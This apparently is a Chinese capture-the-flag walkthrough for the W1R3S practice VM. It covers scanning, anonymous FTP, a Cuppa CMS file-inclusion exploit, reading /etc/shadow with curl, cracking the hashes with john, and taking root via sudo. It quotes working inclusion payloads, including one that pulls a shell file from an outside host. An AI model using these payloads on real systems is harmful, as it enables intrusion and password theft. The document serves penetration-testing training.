W1R3S靶机打靶流程---超级详细版
0x00部署
W1R3S靶机: 下载地址
下载好导入Vmware即可,网络配置修改为NAT模式。
宿主机使用:kali2022
0x01信息收集
1.识别靶机ip
使用非root用户进行渗透,保持良好习惯
$ sudo arp-scan -l

扫描也可以使用以下指令:
$ ifconfig //查看本机的ip
$ sudo nmap -sn ip所在网段

但是这个会比arp多出一个ip,不知道是哪个的??,根据之前扫描的结果,可以推断出靶机应该是148。
2.靶机端口扫描
$ sudo nmap --min-rate 10000 -p- ip
使用最小速率为10000来扫描靶机ip开放端口,端口数量为65536个,所以设置10000的速率来进行扫描,其默认是tcp扫描。

开放端口有:21-ftp,22-ssh,80-http,3306-mysql
$ sudo nmap -sT -sV -O -p21,22,80,3306 ip
-sT Tcp扫描
-sV 命令查看端口开放服务所用version
-O 查看系统
扫描至少扫两遍,保持好习惯

UDP虽然不可靠,但是不能忽视,再对udp服务进行扫描
$ sudo nmap -sU -p21,22,80,3306 ip

可以确定开放的端口还是21,22,80,3306(udp的没开)
3.漏洞扫描
$ sudo nmap --script=vuln -p21,22,80,3306 ip //不知道为啥,速度挺慢的

wordpress是一种php语言开发的内容管理平台,可看作CMS
4.ftp渗透

尝试ftp匿名连接一下靶机,用户名为anonymous,密码为空,成功进入。

binary指令执行之后,可执行文件不会因为使用ftp协议下载而导致文件损坏(.txt文件不会坏)
ls查看当前目录,看到有三个目录,依次进入查看

mget 将文件下载到本地,所有目录下边的内容都下载后,exit退出。

返回本地使用cat依次查看下载的文件
01.txt:

02.txt:得到两串疑似加密的字符

$ hash identifier ‘加密字符’ //可以对加密字符的加密方法进行判断,这里得到的md5加密


找了一个在线md5解密,结果:This is not a password,所以这里不是密码
另一个字符可以看到后边=符号,一般就是base64编码,使用指令进行解密,

03.txt:一个banner

employee-names.txt:这里存放的w1r3s这个公司很多人名信息及职位,可能是有用的数据,记录一下。

worktodo.txt:

这里可能需要前后及上下的翻转:
$ echo ' ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡'|rev
//前后翻转指令,上下翻转使用图片编辑来实现

翻转之后,意识到这里可能没什么信息了—》80
0x02 web渗透
1.访问web页面
访问一下目标ip的80端口:进入到了apache的默认页面,没什么其他信息。

2.扫描页面
利用工具feroxbuster来进行页面扫描,需要先下载。
sudo feroxbuster -u http://ip -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
//-w来匹配字典

对其中的/wordpress & /administrator目录进行访问,发现wordpress无法访问

对administrator进行访问进入到一个安装目录下,检查,在添加信息之后发现没有创建的权限。


对页面上的信息cuppa cms进行匹配,获取到一条信息xxx.txt,检查一下,发现cuppa cms这个存在文件包含漏洞。
$ searchsploit cuppa cms
$ searchsploit cuppa cms -m xxx.txt



3.文件包含利用
根据文件中的内容提示,可以尝试对http://ip/administrator进行包含利用:
利用Exploit中的payloads:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
这里的target就是靶机ip,cuppa是显示cuppa信息的访问页面,即administrator。访问之后成功显示到包含,尝试利用kali指令读取

利用curl访问,curl 是用于在本地计算机与远程服务器之间传输数据的命令行工具。
sudo curl --data-urlencode urlConfig=../../../../../../../../../etc/passwd http://ip/administrator/alerts/alertConfigField.php |html2text
html2text是一个python脚本,它将一页html转换成干净、易于阅读的纯ascii文本,格式化一下内容。
发现可以读取到内容,

试试读一下/etc/shadow文件,该文件存放用户名密码,得到了很像密码的两部分信息,分别对应着www-data用户-加密密码,w1r3s用户-加密密码,


利用hash-identifier检查一下,发现没找到,使用john来破解系统密码

4.john破解
将上边的信息存放到hash文件中,再使用指令john hash进行破解:

分别得到:
用户www-data,密码:www-data
用户w1r3s,密码:computer
5.本地提权
ssh22端口开放,所以可利用得到的客户端用户名以及靶机ip来进行ssh连接:
命令格式: ssh 客户端用户名@服务器ip地址

远程连接成功,已切换至w1r3s用户。
$ sudo whoami //查看一下当前用户是谁
$ uname -a //查看系统状态
$ sudo -l //查看当前用户权限

发现当前用户具有所有权限:(ALL:ALL)ALL,直接切换至root用户
$ sudo /bin/bash //可用系统命令执行bash,获取root权限
访问一下root目录,找到flag


本文详细介绍了一次针对W1R3S靶机的渗透测试过程,包括部署靶机、信息收集、端口扫描、漏洞扫描、ftp渗透、web渗透等步骤,并最终实现本地提权。
1820

被折叠的 条评论
为什么被折叠?



